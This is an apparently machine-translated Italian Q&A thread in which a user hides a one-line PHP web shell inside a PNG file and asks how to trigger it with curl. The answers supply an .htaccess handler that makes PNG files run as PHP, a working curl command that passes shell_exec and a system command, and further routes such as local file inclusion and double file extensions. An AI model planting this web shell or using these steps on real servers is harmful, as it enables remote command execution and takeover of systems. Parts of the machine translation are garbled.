Esegui PHP in PNG usando curl

0

Sto facendo alcuni test sull'esecuzione di PHP remoto tramite PHP nascosto all'interno di un file PNG. Ho un file PNG sul mio server con il seguente codice PHP memorizzato nel file PNG.

<?=$_GET[0]($_POST[1]);?> 

L'idea è che ho passato una richiesta GET con shell_exec o funzione exec, seguita da dati POST 1 = il comando da eseguire.

Ho cercato di usare il ricciolo senza successo. Continuo a non trovare HTTP / 1.1 404.

curl http://192.168.0.6/phppng.png?0=shell_exec' -i -d "1=id"

Qualche idea che cosa posso utilizzare per inviare la richiesta GET e includere i dati POST?

    
posta Ankh2054 11.05.2016 - 10:43
fonte

2 risposte

3

Prima di tutto, assicurati che il tuo server web sappia che deve interpretare il file PNG come PHP. Devi aggiungere questo al tuo file .htaccess .

AddHandler application/x-httpd-php .png

o

AddHandler application/x-httpd-php5 .png

Altrimenti, non eseguirà il codice PHP.

In secondo luogo, c'è un errore di sintassi nella richiesta di ricciolo. Ti manca un preventivo.

Prova questo:

curl -i -X POST "http://127.0.0.1/phppng.png?0=shell_exec" -d "1=id"
    
risposta data 11.05.2016 - 10:55
fonte
1

I file che terminano in .png non eseguiranno il codice php anche se contengono codice php. Puoi comunque eseguire questo codice tramite un LFI o caricando un file .htaccess che aggiungerà un gestore php per .png o nel caso di Apache potresti usare un'estensione di file doppio, ovvero: phppng.php.phppng .

    
risposta data 11.05.2016 - 10:57
fonte

Leggi altre domande sui tag